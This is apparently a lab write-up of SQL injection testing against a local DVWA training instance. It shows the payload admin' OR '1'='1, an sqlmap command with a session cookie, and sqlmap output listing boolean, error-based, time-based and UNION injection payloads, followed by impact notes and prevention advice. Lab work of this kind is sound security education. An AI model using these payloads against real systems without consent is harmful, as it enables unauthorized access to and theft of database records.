

SQLi: admin' OR '1' = '1



```

kali@kali:~/I/
PS> sqlmap -u "http://127.0.0.1:8080/vulnerabilities/sql/?id=admin%27%0R+%271%27+%3D0+%271%Submit-Submit#" -p id --cookie="PHPSESSID=ba47vep2btui4pk99fuoaedf81; sec
urity=low" --dbms

https://sqlmap.org
Vulnerability: SQL Injection

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local,
state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 06:04:12 /2026-09-25/

[06:04:13] [INFO] testing connection to the target URL
[06:04:13] [INFO] testing if the target URL content is stable
[06:04:14] [INFO] target URL content is stable
[06:04:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[06:04:14] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[06:04:14] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[06:04:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:04:29] [WARNING] reflective value(s) found and filtering out
[06:04:29] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")
[06:04:29] [INFO] testing 'Generic inline queries'
[06:04:29] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[06:04:29] [INFO] GET parameter 'id' is 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' injectable
[06:04:29] [INFO] testing 'MySQL inline queries'
[06:04:29] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[06:04:29] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)

```

```

[06:04:29] [WARNING] time-based comparison requires larger statistical model, please wait..... (done)
[06:04:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[06:04:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[06:04:30] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[06:04:30] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[06:04:30] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[06:04:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[06:04:40] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[06:04:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[06:04:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[06:04:40] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the
range for current UNION query injection technique test
[06:04:40] [INFO] target URL appears to have 2 columns in query
[06:04:41] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
-----
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=admin' OR '1' = '1' AND 9758=9758 AND 'Jzqi'='Jzqi6Submit=Submit

  Type: error-based
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
  Payload: id=admin' OR '1' = '1' AND EXTRACTVALUE(1655,CONCAT(0x5c,0x7176717071,(SELECT (ELT(1655=1655,1))))0x7170626b71)) AND 'QHYL'='QHYL6Submit=Submit

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=admin' OR '1' = '1' AND (SELECT 4172 FROM (SELECT(SLEEP(5)))dvJg) AND 'bMMC'='bMMC6Submit=Submit

  Type: UNION query
  Title: Generic UNION query (NULL) - 2 columns
  Payload: id=admin' OR '1' = '1' UNION ALL SELECT CONCAT(0x7176717071,0x51e5657534d666463504a6445646659717766426d4677614c6641546857745756624c567653727a,0x7170626b
71),NULL-- -6Submit=Submit

```

SQLmap command is now running correctly, and sqlmap has already found strong indications that the DVWA id parameter is injectable.

Security impact

Data exposed: Multiple user records, including names and IDs.

Risk: An attacker could potentially access database information that they were not authorised to see. Depending on the vulnerable query and database privileges, SQL injection can also potentially allow data modification or deletion.

Result: The DVWA SQL Injection endpoint is vulnerable to SQL injection. The payload admin' OR '1'='1 altered the SQL query logic and caused multiple database records to be returned. This demonstrates a loss of confidentiality because an attacker can retrieve records beyond the intended result.

SQL Injection prevention notes

- Use prepared statements or parameterized queries instead of concatenating user input into SQL queries.
- Validate and sanitize input according to expected data types and formats.
- Use least-privilege database accounts so the application cannot access or modify unnecessary data.
- Avoid displaying detailed SQL database errors to users, log them securely instead.
- Use secure coding practices and regular penetration testing to identify SQL injection vulnerabilities.
- Keep the database and application frameworks updated with security patches.